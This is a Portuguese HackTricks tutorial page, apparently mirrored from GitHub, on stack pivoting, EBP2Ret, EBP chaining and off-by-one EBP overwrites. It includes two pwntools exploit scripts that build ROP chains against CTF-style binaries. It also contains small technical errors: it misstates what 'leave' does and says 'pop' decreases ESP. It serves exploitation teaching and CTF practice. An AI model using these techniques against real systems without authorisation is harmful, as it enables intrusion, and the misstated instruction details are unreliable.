mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
251 lines
12 KiB
Markdown
251 lines
12 KiB
Markdown
|
# Stack Pivoting - EBP2Ret - EBP chaining
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## Basic Information
|
||
|
|
||
|
Esta técnica explora a capacidade de manipular o **Base Pointer (EBP)** para encadear a execução de múltiplas funções através do uso cuidadoso do registrador EBP e da sequência de instruções **`leave; ret`**.
|
||
|
|
||
|
Como lembrete, **`leave`** basicamente significa:
|
||
|
```
|
||
|
mov ebp, esp
|
||
|
pop ebp
|
||
|
ret
|
||
|
```
|
||
|
And as the **EBP está na pilha** antes do EIP, é possível controlá-lo controlando a pilha.
|
||
|
|
||
|
### EBP2Ret
|
||
|
|
||
|
Esta técnica é particularmente útil quando você pode **alterar o registrador EBP, mas não tem uma maneira direta de mudar o registrador EIP**. Ela aproveita o comportamento das funções quando terminam de executar.
|
||
|
|
||
|
Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para este local criado, e a operação `pop` subsequente diminui o ESP em 4, **fazendo efetivamente com que aponte para um endereço armazenado pelo atacante ali.**\
|
||
|
Note como você **precisa saber 2 endereços**: aquele para onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP.
|
||
|
|
||
|
#### Construção do Exploit
|
||
|
|
||
|
Primeiro, você precisa saber um **endereço onde pode escrever dados / endereços arbitrários**. O ESP apontará aqui e **executará o primeiro `ret`**.
|
||
|
|
||
|
Em seguida, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar:
|
||
|
|
||
|
* Um endereço válido de [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
|
||
|
* O endereço de **`system()`** seguido de **4 bytes de lixo** e o endereço de `"/bin/sh"` (x86 bits).
|
||
|
* O endereço de um gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido do **shellcode** a ser executado.
|
||
|
* Alguma cadeia [**ROP**](../rop-return-oriented-programing/).
|
||
|
|
||
|
Lembre-se de que antes de qualquer um desses endereços na parte controlada da memória, deve haver **`4` bytes** por causa da parte **`pop`** da instrução `leave`. Seria possível abusar desses 4B para definir um **segundo EBP falso** e continuar controlando a execução.
|
||
|
|
||
|
#### Exploit Off-By-One
|
||
|
|
||
|
Há uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode **apenas modificar o byte menos significativo do EBP**. Nesse caso, a localização da memória que armazena o endereço para pular com o **`ret`** deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.\
|
||
|
Geralmente, modifica-se o byte 0x00 para pular o mais longe possível.
|
||
|
|
||
|
Além disso, é comum usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para aumentar a probabilidade de que o novo ESP aponte dentro do RET SLED e a cadeia ROP final seja executada.
|
||
|
|
||
|
### **Encadeamento de EBP**
|
||
|
|
||
|
Portanto, colocando um endereço controlado na entrada `EBP` da pilha e um endereço para `leave; ret` no `EIP`, é possível **mover o `ESP` para o endereço `EBP` controlado da pilha**.
|
||
|
|
||
|
Agora, o **`ESP`** está controlado apontando para um endereço desejado e a próxima instrução a ser executada é um `RET`. Para abusar disso, é possível colocar no lugar controlado do ESP isto:
|
||
|
|
||
|
* **`&(próximo EBP falso)`** -> Carregar o novo EBP por causa do `pop ebp` da instrução `leave`
|
||
|
* **`system()`** -> Chamado pelo `ret`
|
||
|
* **`&(leave;ret)`** -> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente
|
||
|
* **`&("/bin/sh")`**-> Parâmetro para `system`
|
||
|
|
||
|
Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.
|
||
|
|
||
|
Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/), mas mais complexo, sem benefício aparente, mas pode ser interessante em alguns casos extremos.
|
||
|
|
||
|
Além disso, aqui você tem um [**exemplo de um desafio**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que usa essa técnica com um **leak de pilha** para chamar uma função vencedora. Este é o payload final da página:
|
||
|
```python
|
||
|
from pwn import *
|
||
|
|
||
|
elf = context.binary = ELF('./vuln')
|
||
|
p = process()
|
||
|
|
||
|
p.recvuntil('to: ')
|
||
|
buffer = int(p.recvline(), 16)
|
||
|
log.success(f'Buffer: {hex(buffer)}')
|
||
|
|
||
|
LEAVE_RET = 0x40117c
|
||
|
POP_RDI = 0x40122b
|
||
|
POP_RSI_R15 = 0x401229
|
||
|
|
||
|
payload = flat(
|
||
|
0x0, # rbp (could be the address of anoter fake RBP)
|
||
|
POP_RDI,
|
||
|
0xdeadbeef,
|
||
|
POP_RSI_R15,
|
||
|
0xdeadc0de,
|
||
|
0x0,
|
||
|
elf.sym['winner']
|
||
|
)
|
||
|
|
||
|
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
||
|
|
||
|
payload += flat(
|
||
|
buffer, # Load leak address in RBP
|
||
|
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||
|
)
|
||
|
|
||
|
pause()
|
||
|
p.sendline(payload)
|
||
|
print(p.recvline())
|
||
|
```
|
||
|
## EBP pode não ser usado
|
||
|
|
||
|
Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca controla o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem nenhum efeito real.\
|
||
|
Isso ocorre porque o **prólogo e epílogo mudam** se o binário estiver otimizado.
|
||
|
|
||
|
* **Não otimizado:**
|
||
|
```bash
|
||
|
push %ebp # save ebp
|
||
|
mov %esp,%ebp # set new ebp
|
||
|
sub $0x100,%esp # increase stack size
|
||
|
.
|
||
|
.
|
||
|
.
|
||
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||
|
ret # return
|
||
|
```
|
||
|
* **Otimizado:**
|
||
|
```bash
|
||
|
push %ebx # save ebx
|
||
|
sub $0x100,%esp # increase stack size
|
||
|
.
|
||
|
.
|
||
|
.
|
||
|
add $0x10c,%esp # reduce stack size
|
||
|
pop %ebx # restore ebx
|
||
|
ret # return
|
||
|
```
|
||
|
## Outras maneiras de controlar RSP
|
||
|
|
||
|
### **Gadget `pop rsp`**
|
||
|
|
||
|
[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando esta técnica. Para este desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**:
|
||
|
```python
|
||
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||
|
# This version has added comments
|
||
|
|
||
|
from pwn import *
|
||
|
|
||
|
elf = context.binary = ELF('./vuln')
|
||
|
p = process()
|
||
|
|
||
|
p.recvuntil('to: ')
|
||
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
||
|
log.success(f'Buffer: {hex(buffer)}')
|
||
|
|
||
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
||
|
POP_RDI = 0x40122b
|
||
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
||
|
|
||
|
# The payload starts
|
||
|
payload = flat(
|
||
|
0, # r13
|
||
|
0, # r14
|
||
|
0, # r15
|
||
|
POP_RDI,
|
||
|
0xdeadbeef,
|
||
|
POP_RSI_R15,
|
||
|
0xdeadc0de,
|
||
|
0x0, # r15
|
||
|
elf.sym['winner']
|
||
|
)
|
||
|
|
||
|
payload = payload.ljust(104, b'A') # pad to 104
|
||
|
|
||
|
# Start popping RSP, this moves the stack to the leaked address and
|
||
|
# continues the ROP chain in the prepared payload
|
||
|
payload += flat(
|
||
|
POP_CHAIN,
|
||
|
buffer # rsp
|
||
|
)
|
||
|
|
||
|
pause()
|
||
|
p.sendline(payload)
|
||
|
print(p.recvline())
|
||
|
```
|
||
|
### xchg \<reg>, rsp gadget
|
||
|
```
|
||
|
pop <reg> <=== return pointer
|
||
|
<reg value>
|
||
|
xchg <reg>, rsp
|
||
|
```
|
||
|
### jmp esp
|
||
|
|
||
|
Verifique a técnica ret2esp aqui:
|
||
|
|
||
|
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
|
||
|
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## Referências e Outros Exemplos
|
||
|
|
||
|
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||
|
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||
|
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
|
||
|
* 64 bits, exploração off by one com uma cadeia rop começando com um ret sled
|
||
|
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
|
||
|
* 64 bits, sem relro, canário, nx e pie. O programa concede um leak para stack ou pie e um WWW de um qword. Primeiro obtenha o leak da stack e use o WWW para voltar e obter o leak do pie. Em seguida, use o WWW para criar um loop eterno abusando das entradas de `.fini_array` + chamando `__libc_csu_fini` ([mais informações aqui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Abusando dessa escrita "eterna", uma cadeia ROP é escrita na .bss e acaba chamando-a fazendo pivot com RBP.
|
||
|
|
||
|
## ARM64
|
||
|
|
||
|
No ARM64, o **prólogo e epílogo** das funções **não armazenam e recuperam o registro SP** na pilha. Além disso, a instrução **`RET`** não retorna ao endereço apontado pelo SP, mas **para o endereço dentro de `x30`**.
|
||
|
|
||
|
Portanto, por padrão, apenas abusando do epílogo você **não conseguirá controlar o registro SP** sobrescrevendo alguns dados dentro da pilha. E mesmo que você consiga controlar o SP, ainda precisaria de uma maneira de **controlar o registro `x30`**.
|
||
|
|
||
|
* prólogo
|
||
|
|
||
|
```armasm
|
||
|
sub sp, sp, 16
|
||
|
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
||
|
mov x29, sp // FP aponta para o registro de quadro
|
||
|
```
|
||
|
* epílogo
|
||
|
|
||
|
```armasm
|
||
|
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
||
|
add sp, sp, 16
|
||
|
ret
|
||
|
```
|
||
|
|
||
|
{% hint style="danger" %}
|
||
|
A maneira de realizar algo semelhante ao stack pivoting no ARM64 seria ser capaz de **controlar o `SP`** (controlando algum registro cujo valor é passado para `SP` ou porque por algum motivo `SP` está pegando seu endereço da pilha e temos um overflow) e então **abusar do epílogo** para carregar o registro **`x30`** de um **`SP`** controlado e **`RET`** para ele.
|
||
|
{% endhint %}
|
||
|
|
||
|
Além disso, na página seguinte você pode ver o equivalente de **Ret2esp no ARM64**:
|
||
|
|
||
|
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
|
||
|
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|